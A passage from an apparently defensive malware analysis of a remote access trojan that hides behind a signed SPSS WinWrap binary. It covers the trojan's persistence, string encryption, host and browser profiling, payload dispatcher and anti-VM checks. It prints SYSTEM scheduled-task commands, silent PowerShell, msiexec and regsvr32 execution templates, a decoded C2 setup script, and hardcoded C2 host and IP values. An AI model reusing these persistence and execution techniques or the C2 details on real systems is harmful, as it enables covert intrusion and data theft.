  3. Shutdown hookautorun_on_shutdown registers a monitor that re-applies persistence as the system shuts down.

The two timer values are literals in the decoded script rather than inferences from observed behaviour — delayer::delay_in_seconds(150) in autorun_to_registry and delayer::delay_in_seconds(875) in autorun_to_sheduler, both quoted verbatim in §5 above and both derived from the container bytes shown there. The check-then-restore shape is likewise explicit in the source: autorun_exists_hkcu($regValue, $exepath) gates autorun_add_hkcu(...), so the mechanism is a conditional repair on a timer, not a blind periodic write. That distinction is what makes deletion-while-running ineffective.

Removing either entry without terminating the process is futile: it is restored within at most 875 seconds, and again at shutdown. Effective remediation requires killing the process first.

6b. The payload implements four persistence mechanisms; this build’s config uses two of them (High confidence). §6 above describes what load.db configures — the Run key and the scheduled task, re-applied on their timers. The stage-3 payload’s dispatcher offers a superset, operator-selectable per task, each taking a name and a target path:

Case Decoded at Mechanism Success string
AUTORUN_HKCU 0x124b46 HKCU Run value Autorun HKCU added (0x124e54)
AUTORUN_HK 0x125392 HKLM Run value, falling back to HKCU Autorun HKLM added (0x125718), Autorun HK added to HKCU (0x125838)
AUTORUN_SCHEDULER 0x125da9 Scheduled task Autorun scheduler added (0x1260f4)
AUTORUN_STARTUP_LNK 0x12666e Startup-folder .lnk Autorun startup link added (0x126a1c)

Two of these are absent from §6 because §6 was derived from the configuration rather than from the code: HKLM (a machine-wide, all-users variant requiring elevation, which the sample seeks) and the Startup folder shortcut. The .lnk construction is corroborated at 0x05284c, 0x052e55, 0x053035.

All four support add, remove and enumerate: Startup add completed (0x0e28c7), Startup remove completed (0x0e1457), Removed Startup link: (0x146d9f), and an AutorunEnumerator that spans all three stores — Run values (0x057e6d), the Startup folder (0x0588f0), and the task scheduler via COM (0x059b0d0x05a6d6). SeShutdownPrivilege (0x0d2886) independently corroborates the shutdown-hook path in §6.

Enumeration is a distinct capability from add and remove, and is worth reading on its own. AutorunEnumerator gives the operator a read of the persistence already present on a host across all three stores — including entries this implant did not create. Paired with the remove primitives, that supports survey-before-reinstall (confirm what is already there and avoid a duplicate, noisy entry) and, in principle, displacing a rival implant’s autorun. This is capability inferred from the primitive set, not observed behaviour: no task issuing an enumerate was recovered, and the enumerate path is equally consistent with the self-healing check in §6, which must read a store before deciding whether to re-add. Stated at Medium confidence for the operator-survey reading; the primitives themselves are High.

The remediation consequence is direct. Guidance scoped to “the Run value and the scheduled task” — as Recommendation 2 previously was — leaves an HKLM Run entry and a Startup-folder shortcut untouched if the operator selected them for a given victim. Because the choice is per-task rather than per-build, its presence cannot be ruled out from this binary; all four stores must be checked. This is stated as capability, not as observed behaviour on any host.

6a. The persistence name impersonates the host application (High confidence). Both of the persistence entries this build configures are named SPSS WinWrap Basic IDE 27.4 — the legitimate product whose signed binary launched the chain. An administrator auditing Run keys or scheduled tasks on a machine where this IDE is genuinely installed sees a plausible vendor entry pointing at a real, signed executable.

The stage-3 binary contains the exact scheduled-task command template:

schtasks.exe /Create /TN <name> /TR <path> /SC ONLOGON /RU SYSTEM /F /RL HIGHEST
schtasks.exe /Query  /TN <name>
schtasks.exe /Delete /TN <name> /F

Note /RU SYSTEM with /RL HIGHEST — the task is created to run as SYSTEM at highest privilege where permissions allow.

7. Stage-3 string protection, and the coverage argument (High confidence)

Every string in the stage-3 RAT is built on the stack by an LCG keystream:

seed  = 0x5621401945f4d0e8
word  : plain = cipher XOR ((2*(s & 0xFFFF) + 0x11) & 0xFFFF)
state : s = (s * 0x19660D + 0x3C6EF35F) mod 2^64
result: UTF-16LE

There is no strings-visible content in the binary at all; FLOSS and a raw strings pass yield nothing of value.

The seed is a 10-byte movabs immediate, which makes the sweep exact rather than heuristic — every protected string begins with the same instruction:

$ python3 -c "import re,struct; d=open('load_db_stage3.bin','rb').read(); \
  print(len(re.findall(re.escape(b'\\x48\\xb8'+struct.pack('<Q',0x5621401945f4d0e8)),d)))"
1477

decode_strings.py (written for this analysis) locates all 1,477 movabs rax, <seed> sites and walks each immediate run, recovering 1,296 strings. This exhaustiveness matters: the negative C2 result in §11 rests on it.

Two decoders exist in the working set, and only the strict one is cited. decode_all.py is a superseded coarse variant whose inner walk accepts any lone 0xb8 / 0x66 0xb8 byte between two seed anchors without requiring a matching store instruction. That tolerance lets it absorb a byte that is not part of the string-building sequence, corrupting exactly one UTF-16 word while leaving the rest of the string readable — WOW6432N?de for WOW6432Node, ?alse for false. It recovers 1,269 strings against the strict decoder’s 1,296, and 434 of the shared offsets differ by precisely this one-character corruption. The failure mode is dangerous because the output survives an eyeball check: every value quoted in this report comes from decode_strings.py, and any detection rule derived from the coarse output would be silently wrong.

8. Host profiling and collection (Medium-High, High confidence)

The RAT assembles a detailed host survey. Recovered field labels include: computer name, user name, domain, SID, elevation status, OS build/edition/ version/architecture, timezone, UI language, CPU vendor/MHz/cores, RAM total and usage, GPU and VRAM and driver, motherboard vendor/product/serial, BIOS vendor/version/date/serial, keyboard layout, monitors, drives, battery, network configuration, open ports, and installed applications.

Motherboard and BIOS serials in particular provide durable hardware fingerprinting that survives reinstallation.

The registry keys backing the survey are decoded and give it more specificity than the field labels alone suggest:

Key Decoded at Purpose
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall 0x151cff Installed applications
SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall 0x151fdf 32-bit twin — enumerates both views
SOFTWARE\Microsoft\Windows Defender 0x13b4c6 Defender configuration
SOFTWARE\Microsoft\CryptographyMachineGuid 0x13ed54 / 0x13ef60 Stable per-install machine identifier

Because every one of these strings is LCG stack-constructed rather than stored, none appears in a strings dump and each must be reconstructed from the instructions that build it. The MachineGuid site is small enough to verify by hand end to end, and demonstrates the scheme the whole finding rests on:

$ r2 -m 0 -e asm.arch=x86 -e asm.bits=64 -c 's 0x13ef60; pd 16' load_db_stage3.bin
0x0013ef60  48b8e8d0f4..   movabs rax, 0x5621401945f4d0e8   ; the seed
0x0013ef6a  48898424f0..   mov qword [rsp + 0xf0], rax
0x0013ef72  b8aca10000     mov eax, 0xa1ac
0x0013ef77  66898424f8..   mov word [rsp + 0xf8], ax
0x0013ef7f  b83efe0000     mov eax, 0xfe3e
0x0013ef84  66898424fa..   mov word [rsp + 0xfa], ax
0x0013ef8c  b8a6e40000     mov eax, 0xe4a6
0x0013ef91  66898424fc..   mov word [rsp + 0xfc], ax
0x0013ef99  b89b3b0000     mov eax, 0x3b9b
0x0013ef9e  66898424fe..   mov word [rsp + 0xfe], ax
0x0013efa6  b820fd0000     mov eax, 0xfd20
0x0013efab  6689842400..   mov word [rsp + 0x100], ax
0x0013efb3  b8c9120000     mov eax, 0x12c9
0x0013efb8  6689842402..   mov word [rsp + 0x102], ax
0x0013efc0  b8089c0000     mov eax, 0x9c08
0x0013efc5  6689842404..   mov word [rsp + 0x104], ax

Each mov eax, imm carries one obfuscated UTF-16LE word, stored to consecutive stack offsets. The keystream is (2 * (state & 0xFFFF) + 0x11) & 0xFFFF, with state advanced by the LCG state * 0x19660D + 0x3C6EF35F after every word. Applying that to the seven immediates above:

0xa1ac ^ ks0 = 0x004d  'M'
0xfe3e ^ ks1 = 0x0061  'a'
0xe4a6 ^ ks2 = 0x0063  'c'
0x3b9b ^ ks3 = 0x0068  'h'
0xfd20 ^ ks4 = 0x0069  'i'
0x12c9 ^ ks5 = 0x006e  'n'
0x9c08 ^ ks6 = 0x0065  'e'                    -> "Machine" (…Guid continues)

The seed 0x5621401945f4d0e8 appears 1,477 times in the stage-3 image, once per protected string; sweeping all of them recovers 1,296 strings, which is the basis for the field and registry inventories in this section. Note the report cites the strict decoder (decode_strings.py), not the coarse variant retained alongside it — the coarse walk mis-attributes one word in roughly a third of strings, yielding readable-but-wrong output such as WOW6432N?de for WOW6432Node, which would silently corrupt any derived detection rule.

Two of these are worth separating from generic inventory. Reading Windows Defender’s configuration specifically — rather than enumerating security products generically — is a targeting signal: the operator is checking the defence they expect to face before acting. And MachineGuid is a durable victim identifier that survives hostname and user changes, complementing the BIOS/motherboard serials above; taken together the sample can re-identify a host across reinstallation and renaming.

8a. Browser targeting (Medium-High confidence). Thirteen browsers are enumerated by name and by URL-handler ProgID: Chrome, Edge, Firefox, Brave, Opera, Opera GX, Vivaldi, Yandex, Internet Explorer, Waterfox, LibreWolf, Arc, plus AppX. The RAT reads Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice to identify the default browser. Strings for cookies, downloads and public_downloads indicate the collection targets.

Note this is a capability map read from strings and registry paths; the credential-extraction code paths themselves were not traced to completion. Rated Medium-High rather than High for that reason.

9. Execution and interactive shell (High, High confidence)

The RAT can launch arbitrary payloads in four forms, with the command templates present verbatim:

Kind Template

The dispatcher self-labels its handlers in its own error strings, giving the complete set of fifteen payload types by name rather than by inference:

Handler Mechanism Key offsets
EXE direct process creation, optionally via runas 0x11acb6
MSI <sys>\msiexec.exe /i <path> /qn /norestart 0x11babd, 0x11bf2e
BAT <sys>\cmd.exe /c "<command>" 0x11f6e7, 0x11f594
PS_SCRIPT powershell.exe -NoProfile -ExecutionPolicy Bypass -File "<path>" 0x11ee7b, 0x11eb64
VBS cscript.exe //nologo "<path>" 0x11ff35, 0x11fd94
DLL_RUNDLL32 rundll32.exe "<path>",DllMain 0x11c996, 0x11c7ac
DLL_REGSVR32 regsvr32.exe /s "<path>" 0x11d21b, 0x11d0dd
DIR_EXE main.exe inside a supplied directory 0x11d991
DIR_DLL main.dll,DllMain via rundll32 0x11e0dd, 0x11e3ec
EXE_BY_LINK fetch, then execute 0x120323
MSI_BY_LINK fetch, then msiexec 0x1210f7, 0x121686
DIR_EXE_ZIPPED_BY_LINK fetch payload.zip, extract, run main.exe 0x12203c, 0x1224fc, 0x123000
DIR_DLL_ZIPPED_BY_LINK fetch payload.zip, extract, run main.dll 0x12343e, 0x124462, 0x124778
EXE_RTLCOMPRESSED_BY_LINK not implementedis not implemented yet 0x11a186
MSI_RTLCOMPRESSED_BY_LINK not implementedis not implemented yet 0x11a4f5

Nine execute from a locally staged path; four fetch from an operator-supplied URL first; two are declared and stubbed out. The two stubs are worth recording rather than dropping — RTLCOMPRESSED names the RtlCompressBuffer/RtlDecompressBuffer API pair, so they indicate an intended compressed-transport variant that this build cannot yet use. They are capability intent, not capability.

How implemented and declared handlers were told apart. The identifier does not distinguish them — all six _BY_LINK names share a suffix, and four work while two do not. The discriminator is the failure mode: an implemented handler’s error strings describe a runtime precondition it could not meet (source URL is missing), which presupposes a body that got far enough to check; a stub’s only string is its own refusal (is not implemented yet). A second analyst reviewing this sample initially generalised all six from the suffix, having annotated one row as stubbed without re-reading the identical row above it — the correction came from the strings, not from the names. Recorded because it generalises: separating shipped capability from declared capability requires reading each handler’s failure path, and a detection rule calibrated against events that cannot occur is not conservative, it is untestable. Counting the two stubs as live would have overstated this build’s network-fetch surface by 50%.

There is a stronger, structural form of the same discriminator, contributed by a second analyst and verified here in stage3_ghidra_decomp.c: the branch shape in the dispatcher gives it away before any string is decoded. An implemented case is a thin forwarder — three to five lines, a single tail call into a handler function, return param_2. A stub is inline: the branch body itself builds an LCG stack string (same seed 0x5621401945f4d0e8) and returns without ever calling a handler. Branch 0x56ae runs 69 lines of inline stack-string construction with no forwarding call; the implemented cases beside it are five-line forwarders. This is the better test of the two, because it needs neither a decoded string table nor a judgement about what an error message implies — shipped capability and declared capability have different code shapes.

Confirmed in disassembly rather than pseudocode alone. The implemented branch for 0x560e marshals six arguments into the ABI registers and leaves:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
     -c 'pD 0x30 @ 0x119cf1' load_db_stage3.bin

0x00119cf1  488b842450..   mov rax, qword [rsp + 0x450]
0x00119cf9  4889442420     mov qword [rsp + 0x20], rax    ; 5th arg, stack
0x00119cfe  4c8b8c2448..   mov r9,  qword [rsp + 0x448]
0x00119d06  4c8b842440..   mov r8,  qword [rsp + 0x440]
0x00119d0e  488b942438..   mov rdx, qword [rsp + 0x438]
0x00119d16  488b8c2430..   mov rcx, qword [rsp + 0x430]
0x00119d1e  e8 ...         call <handler>                 ; tail call out

The stub branch for 0x56ae calls no handler. It loads the LCG seed and begins constructing its refusal string in place:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
     -c 'pD 0x40 @ 0x11a15f' load_db_stage3.bin

0x0011a15f  488d8c2410..   lea rcx, [rsp + 0x210]
0x0011a167  e8d4f8ffff     call 0x119a40
0x0011a16c  488d8c2410..   lea rcx, [rsp + 0x210]
0x0011a174  e863ddffff     call 0x117edc
0x0011a179  488d8c24a8..   lea rcx, [rsp + 0x1a8]
0x0011a181  e896e8f7ff     call 0x98a1c
0x0011a186  48b8e8d0f4..   movabs rax, 0x5621401945f4d0e8   ; the LCG seed
0x0011a190  4889842490..   mov qword [rsp + 0x90], rax
0x0011a198  b8a4a10000     mov eax, 0xa1a4

movabs rax, 0x5621401945f4d0e8 is the same seed documented in §7, appearing directly in the branch body. The two shapes are distinguishable at a glance in raw instructions, with no decompiler and no decoded strings — which is the property that makes this discriminator portable to a sample whose strings have not been recovered.

9a. Two separate uninstall commands — the implant can retire itself, or strip its persistence and keep running (High confidence). The dispatcher carries two further forwarders that are not payload handlers at all:

Case Handler Success / failure strings
0x56c2 FUN_00126e48 Client uninstall completed (0x126fc1), Client uninstall failed (0x127149)
0x56cc FUN_00127364 Autorun uninstall completed (0x12746e), Autorun uninstall failed (0x1275ef)

Both branch bodies were read in stage3_ghidra_decomp.c and are thin forwarders (FUN_0012xxxx(param_1..param_5); return param_2;) reached from the same binary-search chain as the execution handlers. That these are two independent commands rather than one teardown routine is the operationally significant part: an operator can remove the autorun entries while leaving the running implant in memory, or retire the client outright. The first leaves a memory-resident implant with no disk persistence — invisible to exactly the autorun-store sweep that Recommendation 3 prescribes.

IR consequence. A host with strong evidence of infection but no persistence artefacts is consistent with operator teardown, not only with a failed install. The two readings call for different responses — teardown implies the operator had console access and chose to withdraw, which bears on whether the intrusion was noticed — so the absence of autorun entries must not be read as absence of compromise. Capture memory before remediation (Recommendation 8) applies with particular force here.

Staging artefacts for the zipped variants: payload.zip (0x1224fc, 0x123918), __dir_exe_zip_stage (0x12260f), __dir_dll_zip_stage (0x123a2b), and __extract (0x122c00, 0x124048).

Every invocation is silent: /qn /norestart (fully silent MSI install), -NoProfile -ExecutionPolicy Bypass (suppresses profile scripts, defeats execution policy), regsvr32 /s (no dialog), and cscript //nologo (no banner). Six distinct LOLBins are reachable — by occurrence count across the dispatcher: powershell.exe 5, msiexec.exe 4, cmd.exe 4, rundll32.exe 3, regsvr32.exe 1, cscript.exe 1.

Two detection consequences follow, and they cut in different directions:

8b. The task-step dispatcher, located and fully enumerated. Assessment Limitation 6 previously recorded that the command dispatch table had not been enumerated. It is FUN_00119af8 at 0x119af8 — not a jump table but a binary-search if-chain over step ids, which is why a table-shaped search did not find it. The head of the chain, with the step id spilled to [rsp+0x30] and compared against successive pivots:

$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
     -c 'pD 0x120 @ 0x119af8' load_db_stage3.bin

0x00119b24  e82fe5f7ff     call 0x98058               ; fetch step id
0x00119b39  4889442430     mov qword [rsp + 0x30], rax
0x00119b3e  48817c2430..   cmp qword [rsp + 0x30], 0x5690   ; pivot 1
0x00119b47  0f87ba000000   ja 0x119c07                      ; upper half
0x00119b4d  48817c2430..   cmp qword [rsp + 0x30], 0x5690
0x00119b56  0f84cc030000   je 0x119f28                      ; MSI_BY_LINK
0x00119b5c  48817c2430..   cmp qword [rsp + 0x30], 0x5640   ; pivot 2
0x00119b65  775f           ja 0x119bc6
0x00119b67  48817c2430..   cmp qword [rsp + 0x30], 0x5640
0x00119b70  0f8477020000   je 0x119ded                      ; DIR_DLL
0x00119b76  48817c2430..   cmp qword [rsp + 0x30], 0x560e
0x00119b7f  0f846c010000   je 0x119cf1                      ; MSI
0x00119b85  48817c2430..   cmp qword [rsp + 0x30], 0x5618
0x00119b8e  0f841e010000   je 0x119cb2                      ; EXE
0x00119b94  48817c2430..   cmp qword [rsp + 0x30], 0x5622
0x00119b9d  0f848d010000   je 0x119d30                      ; DLL_RUNDLL32
...
0x00119bc1  e9770c0000     jmp 0x11a83d                     ; default / no match

The pivots are 0x5690 and 0x56cc tested with ja — the ids themselves, not the off-by-one boundaries 0x5691/0x56cd an earlier revision of this section reported (Corrections item 44). Ids are spaced by decimal 10.

The map is complete — all 21 branches are resolved. It was extracted mechanically from the disassembly above by pairing each cmp qword [rsp+0x30], <id> with the je that follows it, over the dispatcher’s full 0x420-byte extent; the pass yields exactly 21 distinct ids and 21 distinct targets, with no unpaired comparison and no residue. That result was then cross-checked against an independent enumeration from stage3_ghidra_decomp.c and against a second analyst’s pass; all three agree.

The mechanical extraction is what makes the three absent slots a bounded negative rather than an unexamined gap: 0x564a, 0x5654 and 0x565e are missing from a complete enumeration of the chain, not merely unnoticed in a manual read.

Id Dec Handler Capability
0x560e 22030 FUN_0011b654 MSI
0x5618 22040 FUN_0011aa7c EXE
0x5622 22050 FUN_0011c1f8 DLL_RUNDLL32
0x562c 22060 FUN_0011cb98 DLL_REGSVR32
0x5636 22070 FUN_0011d410 DIR_EXE
0x5640 22080 FUN_0011db6c DIR_DLL
0x5668 22120 FUN_0011e5e0 PS_SCRIPT
0x5672 22130 FUN_0011f094 BAT
0x567c 22140 FUN_0011f894 VBS
0x5686 22150 FUN_00120114 EXE_BY_LINK
0x5690 22160 FUN_00120f3c MSI_BY_LINK
0x569a 22170 FUN_00121e28 DIR_EXE_ZIPPED_BY_LINK
0x56a4 22180 FUN_00123254 DIR_DLL_ZIPPED_BY_LINK
0x56ae 22190 (inline) EXE_RTLCOMPRESSED_BY_LINKstub
0x56b8 22200 (inline) MSI_RTLCOMPRESSED_BY_LINKstub
0x56c2 22210 FUN_00126e48 Client uninstall (§9a)
0x56cc 22220 FUN_00127364 Autorun uninstall (§9a)
0x56d6 22230 FUN_001249dc AUTORUN_HKCU
0x56e0 22240 FUN_00125228 AUTORUN_HK
0x56ea 22250 FUN_00125c40 AUTORUN_SCHEDULER
0x56f4 22260 FUN_00126504 AUTORUN_STARTUP_LNK

Nineteen are thin forwarders; the two stubs are inline branch bodies that build a refusal string and return without calling a handler (§9, structural discriminator). The id space is otherwise contiguous at decimal-10 spacing from 22030 to 22260 — 24 slots — with exactly three absent: 0x564a (22090), 0x5654 (22100) and 0x565e (22110). They are contiguous with each other, sit between DIR_DLL and PS_SCRIPT, and have no branch and no corresponding strings. Read as unallocated slots, which alongside the two shipped stubs dates this build as mid-development. This is a bounded negative — three named, enumerated slots — not unexamined space.

Limitation 6 is closed. The caveat that survives is one of scope, not completeness: this table is complete for this dispatcher, and remains a lower bound for the implant’s total command surface. Note that the dispatcher executes script steps rather than C2 commands — no call path from any known C2 function reaches it, and its ids are compared in exactly one place in the binary (Assessment Limitation 6a). The dispatcher is nonetheless started by the C2 path, as a thread rather than a call; §8c traces that edge and settles the question of whether a separate command router exists above the network layer.

8c. The C2 path starts the step dispatcher as a thread (High confidence). Assessment Limitation 6a previously left two readings open — either operator commands are pushed script run by the same interpreter, or a separate command router exists in code the direct-edge walk never touched. Reading the message handling after the handshake decides it: the join between the network layer and the script engine is a thread start, which is why no call edge was ever going to be found.

The direct-edge negative is reconfirmed, not overturned. Re-walking to depth 12 with call edges taken from r2’s instruction type rather than by matching the disassembly text:

session loop 0xd4558   visited= 632 indirect=  0  reaches 0x119af8: False
C2 fn      0xd36ec     visited= 286 indirect=  0  reaches 0x119af8: False
guard      0x11833c    visited=  37 indirect=  0  reaches 0x119af8: False
from       0x118620    visited= 689 reaches 0x119af8: True
   path: 0x118620 -> 0x118c7c -> 0x118d9c -> 0x119260 -> 0x119af8

Zero indirect calls in every C2 neighborhood, so the negative remains bounded by the graph rather than blinded by function pointers.

The edge that joins them starts inside fcn.000d36ec, which is already on 6a’s seed list. It reads a field and calls through it only when populated:

0x000d3861      4883b8c801..   cmp qword [rax + 0x1c8], 0
0x000d3869      74 15          je   0xd3880
0x000d3873      488b88c801..   mov  rcx, qword [rax + 0x1c8]
0x000d387a      e8bd4a0400     call fcn.0011833c

That field is unconditionally populated at startup, so the branch is not a dormant path. fcn.000d3ad4 is a straight-line constructor — an exhaustive sweep of every operand width at offset +0x1c8 across all 3,130 functions finds exactly one write, and there are zero branch, test or cmp instructions between the function entry and it:

0x000d3c58      e84fbfffff     call fcn.000cfbac            ; allocate
0x000d3c65      488981c801..   mov  qword [rcx + 0x1c8], rax ; store
0x000d3c74      488b88c801..   mov  rcx, qword [rax + 0x1c8]
0x000d3c7b      e89c450400     call fcn.0011821c            ; construct in place

fcn.000d3ad4’s only caller is fcn.000cde9c, itself called at offset 0x6 of fcn.00000000 — payload startup. The constructor fcn.0011821c is the script engine’s own: it zeroes +0x34, the exact re-entrancy flag the next function tests.

fcn.0011833c (75 bytes) is a run-guard. Both arms call the registrar; the first-entry arm sets the flag, calls it, and clears the flag on failure:

0x0011834a      0fb64034       movzx eax, byte [rax + 0x34]
0x00118350      74 0d          je   0x11835f
0x00118357      e8e8a20100     call fcn.00132644
0x0011835f      c6403401       mov  byte [rax + 0x34], 1
0x0011836d      e8d2a20100     call fcn.00132644

fcn.00132644 is the registrar, and lea r9, [0x11856c] at 0x1326ad is the only reference to the dispatcher thunk anywhere in the binary:

0x001326ad      4c8d0db85e..   lea  r9, [0x0011856c]        ; thunk, by address
0x001326b4      4533c0         xor  r8d, r8d
0x001326b7      33d2           xor  edx, edx
0x001326be      e87d11f4ff     call fcn.00073840            ; generic invoker
0x001326c8      48894120       mov  qword [rcx + 0x20], rax ; store handle
0x001326d1      4883782000     cmp  qword [rax + 0x20], 0
0x001326dd      c740280000..   mov  dword [rax + 0x28], 0   ; clear on failure

Storing the invoker’s return value as a handle and zeroing a companion field when it is null is thread-creation shape. fcn.00073840 is the generic invoker already described in 6a — 28 call sites, resolving its target from two 64-bit constants before call qword [rsp+0x40] — so reaching it proves nothing alone; the thunk argument is what identifies this site.

The thunk closes the loop, null-checking its parameter and tail-calling the head of the dispatcher chain:

0x0011856c      48894c2408     mov  qword [rsp + 8], rcx
0x0011857f      48837c242000   cmp  qword [rsp + 0x20], 0
0x00118585      74 0b          je   0x118592
0x0011858c      e88f000000     call fcn.00118620

Full chain, direct edges throughout:

fcn.00000000 -> 0xcde9c -> 0xd3ad4  [ctor: writes ctx+0x1c8, builds engine]
fcn.0002c824 -> 0xd36ec  [C2]  --gate ctx+0x1c8 != 0-->  0x11833c  [run guard]
   -> 0x132644  [registrar]  --lea r9,[0x11856c] --> 0x73840  [invoker/thread]
      -> 0x11856c  [thunk] -> 0x118620 -> 0x118c7c -> 0x118d9c
         -> 0x119260 -> 0x119af8  [step dispatcher]

Consequence. The network layer does not call the dispatcher; it spawns it, then feeds it work through interpreter state rather than through arguments. That is consistent with 6a’s other observation — the dispatched id comes from fcn.00098058, a keyed property getter, not from a socket. So the first of the two readings holds: there is no separate command router, and the operator’s command surface is script pushed to this interpreter. §8b’s table is complete for the dispatcher and bounded only by the open-endedness of the DSL.

An interactive shell is maintained via a persistent PowerShell session started with -NoLogo -NoProfile -NoExit -Command "$OutputEncoding=[Console]:: OutputEncoding=[Console]::InputEncoding=[System.Text.UTF8Encoding]::UTF8" — the UTF-8 setup confirms a long-lived interactive channel rather than one-shot command execution. Strings shell input queue is full or unavailable, too many active downloads, and download not found indicate queued, multiplexed command handling.

Integrity levels are tracked by name (Untrusted, Low, Medium, Medium+, High, System, Protected), consistent with privilege-aware operation.

10. Anti-virtualisation (Medium, High confidence)

Roughly sixty distinct checks span six hypervisor families:

Like the host-survey strings, none of these is stored as plaintext — each is LCG-built at its own site, so the whole list is recovered by decoding rather than by reading a strings dump. Representative sites, with the decoder output that decode_strings.py produces at each:

0x035717  'VBoxGuest'        0x0329cb  'VEN_15AD'      (VMware)
0x0360fa  'QemuFwCfg'        0x032bd6  'VEN_80EE'      (VirtualBox)
0x03649f  'prl_strg'         0x0331c7  'VEN_1AB8'      (Parallels)
0x038f8b  'vmci.sys'         0x0333e5  'VMBUS\'        (Hyper-V)
0x03ce3f  'vmmemWSL.exe'     0x03a59f  'VMBusHID.sys'
0x03cf38  'vmtoolsd.exe'     0x03a9e4  'vmbusr.sys'

Several names recur at multiple addresses — VBoxGuest is built independently at 0x035717, 0x03f411 and 0x048439, and QemuFwCfg at 0x0360fa and 0x03fa17. That repetition is consistent with the same indicator being tested by more than one check routine (driver-presence, service-enumeration and registry paths each rebuilding the string locally) rather than with a single shared table, and it is why the count is given as “roughly sixty distinct checks” rather than as a precise total: the distinct indicator set is smaller than the number of construction sites.

The breadth is notable: WSL (vmmemWSL.exe) and Hyper-V integration services are covered, which many commodity families omit.

11. The C2 endpoints (Critical, High confidence)

This section replaces a materially wrong earlier finding. The report previously asserted, as its headline, that no C2 endpoint existed in the bundle. That was false. The correction and its cause are recorded as Corrections item 11; the analytical lesson is in §11d because it generalises beyond this sample.

Two hardcoded gates, both port 443:

Gate Host offset Key Port offset Key
triotmelon.com:443 0x181e17 0x91 0x181e33 0xe7
144.124.242.171:443 0x181e3d 0xf0 0x181e5b 0xfb

Offsets are into load_db_stage3.bin. triotmelon.com was not resolved and no network activity of any kind was performed.

11a. Where they live, and why two exhaustive sweeps missed them. The values sit in an encrypted settings container appended to the stage-3 payload, at stage-3 0x15cc3a onward (the string table at 0x181b060x181fa8). That region is inside load.db record tid=16100 — the record my container enumeration correctly identified and then treated as a single opaque blob. So:

Neither sweep was capable of reaching this region. Confirmed: grepping the 1,269 LCG-decoded strings for triotmelon, gate_list, or add_gate returns zero hits, and neither host appears as an ASCII or UTF-16LE literal anywhere in the bundle. That absence is a property of tool scope, not evidence of absence — the inference that led to the original error.

11b. The encoding, and why the decode is trustworthy. Each string is UTF-16LE XORed with a single byte key that differs per string. The scheme self-verifies: UTF-16LE ASCII has 0x00 high bytes, so the repeating high byte in the ciphertext is the key. Visible in a raw hexdump:

0x181e17  e5 91 e3 91 f8 91 fe 91 e5 91 fc 91 f4 91 fd 91
          e5^91='t'  e3^91='r'  f8^91='i' ...  ->  triotmelon.com

Independently reproduced for this report by reading the key off each string’s own first high byte and decoding blind — no target value supplied to the decoder. All four values above decoded cleanly on the first attempt.

11c. Purpose is stated by the sample, not inferred. The same container holds the RAT’s startup program as an interpreted script in the same DSL as §5, under the same XOR scheme, at 0x17e3ea. Decoded verbatim:

function void setupWithGates()
{
    complex $gate_dictionary = runtime::resource_get_string_dictionary(@gate_list);
    int $gate_count = string_dictionary::count($gate_dictionary);
    int $gate_index = 0;
    loop
    {
        if ($gate_index >= $gate_count) { break; }
        string $host      = string_dictionary::get_key($gate_dictionary, $gate_index);
        string $port_text  = string_dictionary::get_value($gate_dictionary, $gate_index);
        int    $port       = runtime::cast_to_int($port_text);
        communicator::add_gate($host, $port);
        $gate_index = $gate_index + 1;
    }
    string_dictionary::destroy($gate_dictionary);
}

get_key yields the host, get_value the port, and both are handed to communicator::add_gate. task start_com then runs isVm()setupWithGates()setupGateConnectionDetails()communicator::start(). This is the sample describing its own C2 setup.

Three checks argue the decode is real rather than a lucky pattern match: the derived keystreams come back as constant bytes (a wrong key does not yield a constant); decoding the region blind produced coherent config records and a syntactically valid multi-line program; and the identifiers add_gate, communicator, string_dictionary have zero raw hits as ASCII or UTF-16, so they exist only after decoding.

11d. Why the original negative result was wrong — the generalisable lesson. The claim was not a guess; it was argued from enumeration, and the enumeration was accurate as far as it went. The defect was that the coverage argument conflated “I enumerated the containers” with “I enumerated the contents”. A payload record was counted as covered because it was identified, though its interior was never examined; and two sweeps of different obfuscation schemes were summed as though they tiled the address space, when in fact both missed the same region. An exhaustion argument is only as strong as its weakest coverage claim, and the failure mode is silent: every individual step was correct.

The practical rule this yields — recorded here because it applies to any future sample: a negative result must state the regions it covered and the regions it did not, in offsets. Had §11 originally said “no C2 in the container directory or the LCG strings,” it would have been true, and the uncovered payload interior would have been visibly open rather than implicitly closed.

11e. What the external settings files actually are. The strings Failed! Not found settings.xml, Failed! Invalid settings and Failed! Cannot open settings are real, but they belong to an optional override layer with a compiled-in default, not to the C2 source. Their loader is fcn.000cde9c (3,394 bytes, entry-reachable), which on failure calls a default-settings builder. client_local_settings.bin correlates with the config value lsdb_save_path ({localappdata}\RTProject\rtc.bin) and is local state, not configuration. The original reading of these strings — that the C2 lived in an unshipped file — was the second error, and it is why the first went unchallenged.

Whether an external settings file can override gate_list, stated in offsets. §11d’s rule requires that an open question name its covered and uncovered regions rather than gesture at them, so this one is resolved rather than left in prose.

Coverage: the whole of load_db_stage3.bin, 0x0000000x181faa (1,580,970 bytes), was swept for the token gate_list in three encodings — raw ASCII, raw UTF-16LE, and single-byte-XOR UTF-16LE across all 255 non-zero keys. That sweep is exhaustive over the file; there is no uncovered span.

It returns exactly two occurrences, and both are inside the settings container:

Offset Key Context
0x17e4bc 0x01 inside the setupWithGates() script body — runtime::resource_get_string_dictionary(@gate_list)
0x181dfd 0xaf the record key-name field immediately preceding the encoded gate values at 0x181e170x181e5b (§11b)

Zero occurrences appear anywhere in the settings-file loader fcn.000cde9c (0x0cde9c0x0cebde) or near the settings.xml diagnostic strings at 0x0ce70c. The name gate_list is therefore known only to the embedded settings container and to the script that reads it; the external-settings path has no symbol by which to address that key.

Conclusion (High confidence). The gates resolve from the embedded blob, and an external settings.xml provides no route to override them. This was previously rated Medium-High, on the grounds that the sweep established absence of the name while a loader might still reach the record positionally. That residual is now closed from the parser side rather than the sweep side: setupWithGates() (§11c) obtains its dictionary from runtime::resource_get_string_dictionary(@gate_list) and executes no file, registry, or network read in the gate path at all. A positional reader of an external file has nothing to reach, because the gate list is never sourced from one. The two gates are therefore the complete set, not a lower bound. The operational consequence in §11g is unchanged: both gates are hardcoded, and the IP gate needs no DNS.

